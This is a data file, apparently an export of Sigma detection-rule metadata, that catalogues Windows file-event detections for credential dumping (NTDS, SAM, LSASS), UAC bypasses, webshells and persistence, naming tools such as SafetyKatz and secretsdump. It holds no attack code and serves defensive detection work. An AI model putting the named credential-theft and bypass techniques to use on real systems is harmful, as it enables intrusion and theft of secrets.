"description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", "meta": { "author": "Florian Roth", "creation_date": "2022/03/11", "falsepositive": [ "Unknown" ], "filename": "file_event_win_ntds_exfil_tools.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", "value": "Suspicious NTDS Exfil Filename Patterns" }, { "description": "Detects default lsass dump filename from SafetyKatz", "meta": { "author": "Markus Neis", "creation_date": "2018/07/24", "falsepositive": [ "Rare legitimate files with similar filename structure" ], "filename": "file_event_win_ghostpack_safetykatz.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/SafetyKatz", "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e074832a-eada-4fd7-94a1-10642b130e16", "value": "SafetyKatz Default Dump Filename" }, { "description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", "meta": { "author": "Florian Roth, Sittikorn S", "creation_date": "2021/09/10", "falsepositive": [ "Unknown" ], "filename": "file_event_win_winword_cve_2021_40444.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" ], "tags": [ "attack.resource_development", "attack.t1587" ] }, "related": [ { "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60c0a111-787a-4e8a-9262-ee485f3ef9d5", "value": "Suspicious Word Cab File Write CVE-2021-40444" }, { "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", "meta": { "author": "Florian Roth", "creation_date": "2021/12/07", "falsepositive": [ "Administrative activity", "PowerShell scripts running as SYSTEM user" ], "filename": "file_event_win_susp_system_interactive_powershell.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml" ], "tags": "No established tags" }, "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2", "value": "Suspicious Interactive PowerShell as SYSTEM" }, { "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/03", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/Wh04m1001/IDiagnosticProfileUAC", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec", "value": "UAC Bypass Using IDiagnostic Profile - File" }, { "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", "meta": { "author": "Florian Roth", "creation_date": "2020/07/03", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "file_event_win_susp_desktopimgdownldr_file.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", "https://twitter.com/SBousseaden/status/1278977301745741825", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" ], "tags": [ "attack.defense_evasion", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039", "value": "Suspicious Desktopimgdownldr Target File" }, { "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_consent_comctl32.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789", "value": "UAC Bypass Using Consent and Comctl32 - File" }, { "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", "meta": { "author": "Florian Roth", "creation_date": "2022/02/11", "falsepositive": [ "Rare cases of administrative activity" ], "filename": "file_event_win_sam_dump.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/FireFart/hivenightmare", "https://github.com/search?q=CVE-2021-36934", "https://www.google.com/search?q=%22reg.exe+save%22+sam", "https://github.com/cube0x0/CVE-2021-36934", "https://github.com/HuskyHacks/ShadowSteal", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", "value": "Potential SAM Database Dump" }, { "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/05/06", "falsepositive": [ "Unknown" ], "filename": "file_event_win_moriya_rootkit.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", "value": "Moriya Rootkit" }, { "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_msconfig_gui.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f", "value": "UAC Bypass Using MSConfig Token Modification - File" }, { "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", "meta": { "author": "frack113", "creation_date": "2021/12/19", "falsepositive": [ "Unknown" ], "filename": "file_event_win_access_susp_unattend_xml.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" ], "tags": [ "attack.credential_access", "attack.t1552.001" ] }, "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", "value": "Suspicious Unattend.xml File Access" }, { "description": "Detects the creation of new files with the \".evtx\" extension in non-common locations. Which could indicate tampering with default evtx locations in order to evade security controls", "meta": { "author": "D3F7A5105", "creation_date": "2023/01/02", "falsepositive": [ "Admin activity", "Backup activity" ], "filename": "file_event_win_create_evtx_non_common_locations.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "65236ec7-ace0-4f0c-82fd-737b04fd4dcb", "value": "EVTX Created In Uncommon Location" }, { "description": "Detects files written by the different tools that exploit HiveNightmare", "meta": { "author": "Florian Roth", "creation_date": "2021/07/23", "falsepositive": [ "Files that accidentally contain these strings" ], "filename": "file_event_win_hivenightmare_file_exports.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/cube0x0/status/1418920190759378944", "https://github.com/FireFart/hivenightmare/", "https://github.com/WiredPulse/Invoke-HiveNightmare", "https://github.com/GossiTheDog/HiveNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml" ], "tags": [ "attack.credential_access", "attack.t1552.001", "cve.2021.36934" ] }, "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7", "value": "Typical HiveNightmare SAM File Export" }, { "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_winsat.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", "value": "UAC Bypass Abusing Winsat Path Parsing - File" }, { "description": "Detects a dump file written by QuarksPwDump password dumper", "meta": { "author": "Florian Roth", "creation_date": "2018/02/10", "falsepositive": [ "Unknown" ], "filename": "file_event_win_quarkspw_filedump.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_quarkspw_filedump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4", "value": "QuarksPwDump Dump File" }, { "description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", "meta": { "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", "creation_date": "2021/10/25", "falsepositive": [ "Legitimate user creation" ], "filename": "file_event_win_mal_vhd_download.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", "value": "Suspicious VHD Image Download From Browser" }, { "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "file_event_win_uac_bypass_ieinstal.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb", "value": "UAC Bypass Using IEInstal - File" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate use" ], "filename": "file_event_win_screenconnect_artefact.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_screenconnect_artefact.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fec96f39-988b-4586-b746-b93d59fd1922", "value": "ScreenConnect Temporary Installation Artefact" }, { "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", "creation_date": "2022/10/21", "falsepositive": [ "Unknown" ], "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" ], "tags": [ "attack.t1566", "attack.t1566.001", "attack.initial_access", "attack.t1574", "attack.t1574.001", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c", "value": "Potential Initial Access via DLL Search Order Hijacking" }, { "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", "meta": { "author": "frack113", "creation_date": "2022/01/21", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_colorcpl.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/eral4m/status/1480468728324231172?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564" ] }, "related": [ { "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18", "value": "Suspicious Creation with Colorcpl" }, { "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/02/21", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_tsclient_filewrite_startup.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", "value": "Hijack Legit RDP Session to Move Laterally" }, { "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/10", "falsepositive": [ "Possible FPs during first installation of Notepad++", "Legitimate use of custom plugins to enhance notepad++ functionality by users" ], "filename": "file_event_win_notepad_plus_plus_persistence.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692", "value": "Potential Persistence Via Notepad++ Plugins" }, { "description": "Detects windows executables that writes files with suspicious extensions", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Unknown" ], "filename": "file_event_win_shell_write_susp_files_extensions.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" ], "tags": "No established tags" }, "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62", "value": "Windows Binaries Write Suspicious Extensions" }, { "description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", "Dumps of another process that contains lsass in its process name (substring)" ], "filename": "file_event_win_lsass_memory_dump_file_creation.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_memory_dump_file_creation.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5e3d3601-0662-4af0-b1d2-36a05e90c40a", "value": "LSASS Memory Dump File Creation" }, { "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", "meta": { "author": "Florian Roth", "creation_date": "2022/02/11", "falsepositive": [ "Cases in which a user mounts an image file for legitimate reasons" ], "filename": "file_event_win_iso_file_recent.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" ], "tags": "No established tags" }, "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b", "value": "ISO or Image Mount Indicator in Recent Files" }, { "description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", "meta": { "author": "Florian Roth", "creation_date": "2022/04/13", "falsepositive": [ "Unknown" ], "filename": "file_event_win_cve_2022_24527_lpe.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1059.001", "cve.2022.24527" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0a41412-c69a-446f-8e6e-0e6d7483dad7", "value": "CVE-2022-24527 Microsoft Connected Cache LPE" }, { "description": "Detects msdt.exe creating files in suspicious directories", "meta": { "author": "Vadim Varganov, Florian Roth", "creation_date": "2022/08/24", "falsepositive": [ "Unknown" ], "filename": "file_event_win_msdt_autorun.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml" ], "tags": [ "attack.persistence", "attack.t1547.001", "cve.2022.30190" ] }, "uuid": "318557a5-150c-4c8d-b70e-a9910e199857", "value": "MSDT.exe Creates Files in Autorun Directory" }, { "description": "Detects the creation of an executable by another executable", "meta": { "author": "frack113", "creation_date": "2022/03/09", "falsepositive": [ "Software installers", "Update utilities", "32bit applications launching their 64bit versions" ], "filename": "file_event_win_susp_dropper.yml", "level": "low", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "Malware Sandbox", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dropper.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "297afac9-5d02-4138-8c58-b977bac60556", "value": "Creation of an Executable by an Executable" }, { "description": "Detects when a file with a suspicious extension is created in the startup folder", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/10", "falsepositive": [ "Rare legitimate usage of some of the extensions mentioned in the rule" ], "filename": "file_event_win_susp_startup_folder_persistence.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/last-byte/PersistenceSniper", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e", "value": "Suspicious Startup Folder Persistence" }, { "description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", "meta": { "author": "xknow @xknow_infosec, Tim Shelton", "creation_date": "2019/03/24", "falsepositive": [ "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." ], "filename": "file_event_win_susp_adsi_cache_usage.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/fox-it/LDAPFragger", "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" ], "tags": [ "attack.t1001.003", "attack.command_and_control" ] }, "related": [ { "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb", "value": "Suspicious ADSI-Cache Usage By Unknown Tool" }, { "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", "meta": { "author": "@sam0x90", "creation_date": "2022/07/30", "falsepositive": [ "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" ], "filename": "file_event_win_iso_file_mount.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/Sam0x90/status/1552011547974696960", "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001" ] }, "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb", "value": "ISO File Created Within Temp Folders" }, { "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_winrm_awl_bypass.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed", "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File" }, { "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", "meta": { "author": "frack113", "creation_date": "2021/12/29", "falsepositive": [ "Unknown" ], "filename": "file_event_win_creation_new_shim_database.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" ], "tags": [ "attack.persistence", "attack.t1547.009" ] }, "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947", "value": "New Shim Database Created in the Default Directory" }, { "description": "Possible webshell file creation on a static web site", "meta": { "author": "Beyu Denis, oscd.community, Tim Shelton", "creation_date": "2019/10/22", "falsepositive": [ "Legitimate administrator or developer creating legitimate executable files in a web application folder" ], "filename": "file_event_win_webshell_creation_detect.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "PT ESC rule and personal experience", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9", "value": "Windows Webshell Creation" }, { "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is 